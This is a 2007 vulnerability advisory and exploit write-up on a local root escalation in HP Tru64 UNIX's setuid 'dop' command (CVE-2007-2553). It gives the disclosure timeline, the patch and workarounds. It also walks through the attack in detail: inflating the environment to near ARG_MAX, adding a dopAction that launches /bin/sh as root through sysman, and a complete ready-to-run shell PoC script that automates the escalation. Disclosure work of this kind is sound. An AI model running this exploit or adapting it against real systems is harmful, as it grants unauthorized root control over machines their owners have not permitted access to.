---[ HP Tru64 DOP Local Privilege Escalation Vulnerability ]---
---[ SSRT071326 DOP PoC/Hack for HP Tru64 UNIX 5.X ]---


0. Intro and Disclaimer
1. Description
2. Case Study
3. Tests
   3.1 With DISPLAY
   3.2 Without DISPLAY
       3.2.1 DOP - SYSMAN - DOPAction Attack
4. Considerations
5. Solution
6. PoC
7. Conclusions

Shell Commands and All shell output begins with a '#'.
Sometimes a starting '#' is also part of a valid string like: "# include".


--[ 0. Intro and Disclaimer ]--

I am Daniele Calore; orkaan<at>orkaan.org
This is an analysis about a security hole I have found in HP Tru64 UNIX.

The  Author  is  NOT  responsabile of any use that you do with the information
provided. Please do not use this information to damnage systems  that  you  do
not  own. If you will metion this vulenerbility please give me the right Cred-
it. Feel free to mail me if you have any questions.


--[ 1. Description ]--

-  What is HP Tru64 UNIX:

http://en.wikipedia.org/wiki/Tru64_UNIX

-  What is DOP: (From manpage dop(8))

dop - Allows a user to  execute a privileged  program without knowing the root
password. The dop command also modifies the action database.
(It's something like the well know program sudo)

# tru64-sys> ls -l /usr/sbin/dop
# -rws--x--x   1 root     bin         95344 Apr 30  2005 /usr/sbin/dop

-  Vulnerability:

There is a vulnerability in how dop handle ENV,  that allow any local  user to
execute dopActions (see '/etc/doprc') without knowing the root password.

-  System Affected:

Tru64 5.1  (ALL) (Last PatchKit: T64v51B20AS0006-20030210  - PK6 - BL20)
Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 - PK6 - BL24)
Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 - PK6 - BL27)

-  System NOT Tested:
Tru64 5.0

-  System NOT Affected:
Tru64 4.0x (dop will require allways root password, also for user root)

-   Risk:
HIGH; any user can escalate privilege to root.

-  Disclosure Timeline (Vendor Response):

The following timeline outlines the responses from the vendor:

 2007-03-15 - Vendor contacted.
 2007-03-20 - Sent full details of the vulnerability identified.
 2007-04-04 - Vendor has generated  the patches for  the vulnerability  and is
              doing a thorough code review and testing.
 2007-04-17 - Vendor released a patch without inform the author. (*)
 2007-04-26 - Vendor inform the author that the patch will be soon available...
              and he is drafting the security bulletin...
 2007-05-08 - This analyis is public available.

 (*) For a valid guideline for interaction between a researcher and software
 maintainer take a look to: "Full Disclosure Policy (RFPolicy) v2.0"
 http://www.wiretrip.net/rfp/policy.html

-  Patch:

You can obtain the patches in the ITRC section of the HP site.
You need registration to download patches.

http://www1.itrc.hp.com/service/cki/docDisplay.do?docLocale=en&docId=emr_na-c
01036871-1


--[ 2. Case Study ]--

# tru64-sys> whoami
# root

# tru64-sys> strings /usr/sbin/dop
# ...
#  TCL_LIBRARY
# usr/share/sysman/lib/tcl8.2
# TK_LIBRARY
# /usr/share/sysman/lib/tcl8.2/tk8.2
# TCLX_LIBRARY
# /usr/share/sysman/lib/tcl8.2/tclX8.1
# TKX_LIBRARY
# /usr/share/sysman/lib/tcl8.2/tkX8.1
# CTK_LIBRARY
# ...
#       # Fix for QAR 89980.
#       # First, split $passwd into a proper tcl list. Then, select the
#       # password part. Finally, re-group the selected list elements
#   # into a string. This way, any special characters in password
#   # string will not get choked.
#    return [join [lrange [split $passwd] 3 end]]
#    proc Dop_getpriv { appname runid username } {
#    global SysmanDir
#    pipe readFid writeFid
#    set pid [fork]
#    if { $pid == 0 } {
#       dup $writeFid stdout
#       close $writeFid
#       execl "$SysmanDir/bin/getpriv" "$appname $runid $username"
#       exit
#    } else {
# ...
# # Fix for QAR 83625
#         # Validate the action name.
#         if { ![ctype ascii $action] || [string index $action 0] == "-" } {
#            error "action must be ascii, and may not start with a dash '-'"
#            return FALSE
#         }
#    Dop_load_doprc $dopfilename
#    # Fix for QAR 63807 updated with 77491 which makes this a function call
#    # Make sure that the dop database exists
#    Dop_create_database
#    set action [file tail $action]
#    # Test to see if this application is already in the doprc file.
#    # fix action is not stuffed
#    if { [lmatch -exact $DOPACTIONLIST $action] != {} } {
#       error "$action already exists in $dopfilename"
#       return FALSE
#    }
# ...

The  program  is  written  in TCL/TK and there are a lot of BUG FIX.  (see QAR
89980 and QAR 83625 in the "strings" command output)

After some tests I realized that the program is bugged.  You can  get  control
over the system without knowing the root password and without writing a single
line of code.


--[ 3. Tests ]--

-  Who am I ? and where I am ?

# tru64-sys> id
# uid=666(evilusr) gid=15(users)
# tru64-sys> whoami
# evilusr

# tru64-sys> sizer -v
# Compaq Tru64 UNIX V5.1B (Rev. 2650); Fri Sep 16 16:49:12 MEST 2005
# tru64-sys> uname -a
# OSF1 tru64-sys V5.1 2650 alpha

-  My default enviroment and how big it is (may be different)

# tru64-sys> env
# HOME=/usr/users/evilusr
# LOGNAME=prova12
# MAIL=/var/spool/mail/evilusr
# PATH=/usr/bin:/usr/sbin:/sbin
# SHELL=/bin/sh
# USER=evilusr

# tru64-sys> env | wc -c
#        126


--[ 3.1. Tests With DISPLAY]--

-  We set a DISPLAY
   Use your own IP or if you are connected with SSH consider to use
   X11Forwording (ssh -X)

# tru64-sys> DISPLAY=6.6.6.6:0
# tru64-sys> export DISPLAY
The ENV size is bigger (+18 bytes)
# tru64-sys> env | wc -c
#        144

-  Try "dop" with "/usr/bin/sysman" as a program to execute.
   see: "/etc/doprc" for a list of valid programs.
   sysman is by default one of them.
   (with sysman you can configure all the system; it is an all in one tool)

# tru64-sys> /usr/sbin/dop /usr/bin/sysman
Output: A Graphic window that ask: "Please enter the password for root"
        Nothing wrong.

-  Try to make ENV bigger

# tru64-sys> A=`perl -e "print 'A' x 16000"`
# tru64-sys> export A
# tru64-sys> env | wc -c
#      16147
# tru64-sys> /usr/sbin/dop /usr/bin/sysman
Output: A Graphic window that ask: "Please enter the password for root"
        Nothing wrong.

-  Try to make ENV even bigger

# tru64-sys> A=`perl -e "print 'A' x 40000"`
# tru64-sys> export A
# tru64-sys> env | wc -c
# /usr/bin/wc: arg list too long
# /usr/bin/env: arg list too long
# tru64-sys> /usr/sbin/dop /usr/bin/sysman
# /usr/sbin/dop: arg list too long
Output: Arg list too long.
        Maybe ENV is now too big.

-  Try a little less

# tru64-sys> /usr/sbin/dop /usr/bin/sysman
# tru64-sys> A=`perl -e "print 'A' x 37800"`
# tru64-sys> export A
# tru64-sys> env | wc -c
#      37947
# tru64-sys> /usr/sbin/dop /usr/bin/sysman
# couldn't execute "hostname": argument list too long
#     while executing
# "exec hostname"
#     (procedure "DOP_getpasswd_dialog" line 23)
#     invoked from within
# "DOP_getpasswd_dialog $runid"
#     (procedure "DOP_getpasswd_main_gui" line 7)
#     invoked from within
# "DOP_getpasswd_main_$SysmanUi [lindex $argv 0]"
#     invoked from within
# "set password [DOP_getpasswd_main_$SysmanUi [lindex $argv 0]]"
#     (file "/usr/share/sysman/bin/getpasswd" line 281)
Output: some ERRORS
        Investigate

-  Try a little more

# tru64-sys> A=`perl -e "print 'A' x 38500"`
# tru64-sys> export A
# tru64-sys> env | wc -c
#      38647
# tru64-sys> /usr/sbin/dop /usr/bin/sysman
Output: You will show a Graphic window with sysman
        without the need to provide the root password!
        Now you have full control over the system.
        When you close the window the "bug" will open a second one.
        (I think it is something like double execution)
        Use CTRL-C to exit.


--[ 3.2. Tests Without DISPLAY ]--

The BUG is also present if we unset DISPLAY.
The range of valid ENV size will change, but not so much.

# tru64-sys> unset DISPLAY
# tru64-sys> A=`perl -e "print 'A' x 38500"`
# tru64-sys> export A
# tru64-sys> env | wc -c
#      38629
# tru64-sys> /usr/sbin/dop /usr/sbin/sysman
#
# Use the following keys when working with SysMan applications
# on a terminal:
#
# Field Navigation:
#    Use the Tab key or the arrow keys to move from field to field.
# Scrolling:
#    Use Page Up/Page Down (or Prev/Next) to scroll.
# Selection:
#    Use the space bar to:
#        - toggle the selection in a list box
#        - choose an item in a radio box
#        - enable or disable a check box (toggle button)
# Activation:
#    Use the enter (return) key or the space bar to click on the current
#    button.
#    Pressing enter when a list box item is selected acts like
#    a double-click; it invokes the default button for the list box.
#
#    Note that OK, Cancel, Apply, and Help can always be invoked using the
#    Escape key and the underlined letter in the button (e.g. Esc-O for OK)
# Help:
#    The Help key or the F1 key displays the help for the current window.
#    Esc-H works as well.
#
# For detailed help on the keyboard bindings, please refer to the
# on-line help.
#
# SysMan does not run in menu mode
# check supported arguments or SYSMANUI environment variable.

Also without DISPLAY you can have control over sysman.
But you have to play with something different like: "sysman -cli"
(The Ouptut above is well formated and it is shown only one time...)


--[ 3.2.1 DOP - SYSMAN - DOPAction Attack ]--

With sysman you can configure a dop Action (man sysman_cli and dop)

-  The commands are:

1- Add a dopAction:
   /bin/sh shell with SuperUser (root) privileges
   The new dopAction is called "shell" (the key1 identification)
# tru64-sys> whoami
# root
# tru64-sys> /usr/sbin/sysman -cli -add row -comp doprc -group dopActions
#            -data "shell SuperUsers {{/bin/sh *}}"

2- Test it:
# tru64-sys> whoami
# root
# tru64-sys> dop shell
# # id
# uid=0(root) gid=1(daemon) groups=3(kmem),7(terminal),9(opr),12(lp)

3- Remove the new dopAction:
# tru64-sys> whoami
# root
# tru64-sys> /usr/sbin/sysman -cli -delete row -comp doprc
#            -group dopActions -key1 shell

-  Now it is time to combine all in one:
   DopAction Attack

# tru64-sys> whoami
# evilusr
# tru64-sys> unset DISPLAY
# tru64-sys> A=`perl -e "print 'A' x 38500"`
# tru64-sys> export A
# tru64-sys> env | wc -c
#      38629

1- Create a dopAction:
# tru64-sys> /usr/sbin/dop /usr/sbin/sysman -cli -add row -comp doprc
#             -group dopActions -data "shell SuperUsers {{/bin/sh *}}"
# Error occurred trying to update /etc/doprc:
# shell already exists in /etc/doprc
Use CTRL-C for exit
(The error is due the "double execution")

2- Run it:
# tru64-sys> /usr/sbin/dop shell
# # id
# uid=0(root) gid=1(daemon)
Valid shell with root's privileges.

3- Remove it:
   You can remove the dopAction in the newly root shell
# # /usr/sbin/sysman -cli -delete row -comp doprc -group dopActions
#   -key1 shell


-- [ 4. Considerations ]--

The BUG allow any local user to take control over the system.  If  the  system
is  in "C2" (security ENHANCED) or if there are defined some kernel attributes
like:

    executable_data = 5
    executable_stack = 0

(see sys_attrs_proc(5) man pages)

Nothing will change.

ERRORS, when you try different ENV size, are different.
Something like:

# child process exited abnormally
#     while executing
# "exec hostname"
#     (procedure "DOP_getpasswd_dialog" line 23)
#     invoked from within
# "DOP_getpasswd_dialog $runid"
#     (procedure "DOP_getpasswd_main_gui" line 7)
#     invoked from within
# "DOP_getpasswd_main_$SysmanUi [lindex $argv 0]"
#     invoked from within
# "set password [DOP_getpasswd_main_$SysmanUi [lindex $argv 0]]"
#     (file "/usr/share/sysman/bin/getpasswd" line 281)
#

Or

#
# The application /usr/share/sysman/bin/sysmanshx was not found.
# You must load subset OSFXSYSMANxxx if you want
# to run the graphical System Management Applications. 7
#

and so on.

-  But why this?
The reason is simple: exec function has a limit defined in syslimits.h

#include <sys/syslimits.h>
#define ARG_MAX         38912   /* max bytes for an exec function */

And in the kernel there is an attribute that by default it is '0'
called: exec_disable_arg_limit.

-  exec_disable_arg_limit description:

(from sys_attrs_proc(5) man pages)
* exec_disable_arg_limit

      A value that enables (1) or disables (0) a limit on the number of argu-
      ments that a command can have when it executes. When
      exec_disable_arg_limit is set to one, there is no limit on the number
      of command arguments other than a memory restriction imposed by the
      user program stack size.

      Default value: 0 (hard limit enforced)

      This attribute can be modified at run time. It is recommended that you
      set exec_disable_arg_limit to 1. The default value is in place because
      industry standards currently require not only that a hard limit be
      accessible to any programs executing a command but also that an error
      be returned to the program when this limit is reached. When
      exec_disable_arg_limit is set to 1, the operating system does not
      return an error because there is no hard limit to enforce. Most pro-
      grams that conform to industry standards will continue to execute
      correctly if this error is not returned.


--[ 5. Solution ]--

Apply the patch provided by HP.

If you do not have time to apply the patch to all your systems I suggest
you to use this little workaround:

1- Set the kernel attribute exec_disable_arg_limit to '1'
  (maybe there are also other BUGS like this one in different programs)

# tru64-sys> whoami
# root
#
# tru64-sys> /sbin/sysconfig -r proc exec_disable_arg_limit=1
# exec_disable_arg_limit: reconfigured

Remember to update changes in '/etc/sysconfigtab' (in all cluster members)

2- Consider to remove SUID BIT to '/usr/sbin/dop' if you don't use 'dop'
   (remember to apply SUID BIT again before patching the system)
   maybe there are also other bugs in dop binary...

3- If you use dop, consider to use other software like the well know 'sudo'


--[ 6. PoC ]--

This is simple PoC (Proof of Concept)
And you can even try the bug "by hand", it is not so difficult.

---------------------8<---------------------8<---------------------
#!/bin/sh
#
# - Author/Credits:
#   Daniele Calore; orkaan <at> orkaan.org
#
# - Description:
#   HP Tru64 DOP Local Privilege Escalation Vulnerability
#
#   UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation.
#   HP Security bulletin code identification: HPSBTU02211 SSRT071326
#   Bugtraq ID: 23881
#
# - Public Released:
#   2007-05-09
#
# - System Affected:
#   Tru64 5.1  (ALL) (Last PatchKit: T64v51B20AS0006-20030210  - PK6 - BL20)
#   Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 - PK6 - BL24)
#   Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 - PK6 - BL26)
#
# - System NOT Tested:
#   Tru64 5.0
#
# - System NOT Affected:
#   Tru64 4.0x (dop will allways require root password, also for user root)
#
# - More info:
#   http://www.orkaan.org/tru64/orkaan_-_exp_Tru64-5.X_SSRT071326.html
#

#
#####################
# Defines:

PATH="/sbin:/usr/sbin/:/bin:/usr/bin"
DOP="/usr/sbin/dop"

# Environment size target.
# Change this value if you have problems.
ENV_TRG=38629

# Sleep in seconds.
# Change this value (bigger) if you have problems.
SLEEP=10

#
#####################
# Credits:

echo "UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation."
echo "HP Security bulletin code identification: HPSBTU02211 SSRT071326"
echo "Bugtraq ID: 23881"
echo "CVE ID: CVE-2007-2553"
echo "Author: Daniele Calore; orkaan <at> orkaan.org"
echo ""

#
#####################
# Checks:

# Check User.
MYUID=`id -u`
if [ ${MYUID} -eq 0 ]; then
	echo "Why execute this if you are already root?"
	exit 1
fi

# Check dop binary.
test -u "${DOP}"
if [ $? -ne 0 ]; then
	echo "${DOP} binary is without set-user ID bit... Sorry!"
	exit 1
fi

# Check exec_disable_arg_limit.
ARG_LIMIT=`sysconfig -q proc exec_disable_arg_limit 2>/dev/null | tail -1 |\
	   cut -f3 -d" "`
if [ "Z${ARG_LIMIT}" != "Z0" ]; then
	echo "exec_disable_arg_limit is set to ${ARG_LIMIT:-none}... Sorry!"
	exit 1
fi

#
#####################
# DOPAction Attack:

echo "Ready:"

# Unset Display.
echo "1- Unset DISPLAY."
unset DISPLAY

# Make ENV big enough.
echo "2- Make ENV big enough."
ENV_SIZE=`env | wc -c | tr -cd '[[:digit:]]'`
ENV_SIZE=`expr ${ENV_TRG} - ${ENV_SIZE} - 3`
A=`perl -e "print 'A' x ${ENV_SIZE}"`; export A
ENV_SIZE=`env | wc -c | tr -cd '[[:digit:]]'`
echo "   Actual ENV size is ${ENV_SIZE}; target is ${ENV_TRG};"

# Create dopAction.
echo "3- Create a dopAction 'shell'.
   Remember to delete it.
   As root do:
   /usr/sbin/sysman -cli -delete row -comp doprc -group dopActions -key1 shell

   Remember:
   - The script will never end.
   - If it does not run change ENV_TRG...
   - It is normal to see a message like:
     Error occurred trying to update /etc/doprc:
     shell already exists in /etc/doprc
     (This mean that the BUG is present...)

   You have to wait ${SLEEP} seconds.
   After this amount of time you will see a: '#' (the root shell prompt).
"

# Fork it in Background.
dop /usr/sbin/sysman -cli -add row -comp doprc -group dopActions \
-data "shell SuperUsers {{/bin/sh *}}" &

# Run the new dopAction.
# Sleep some seconds (maybe you have to change this value).
sleep ${SLEEP}
echo ""
dop shell

exit 0
# EOF
---------------------8<---------------------8<---------------------


--[ 6. Conclusions ]--

If you like my work fell free to mail me your feedbacks.
My mail account is: orkaan <at> orkaan.org
(If you need my PGP/GPG public key mail me, I will send you back)

I would like to thanks all people that works for OpenSource projects especially
the GNU/Linux team.


--[ EOF ]--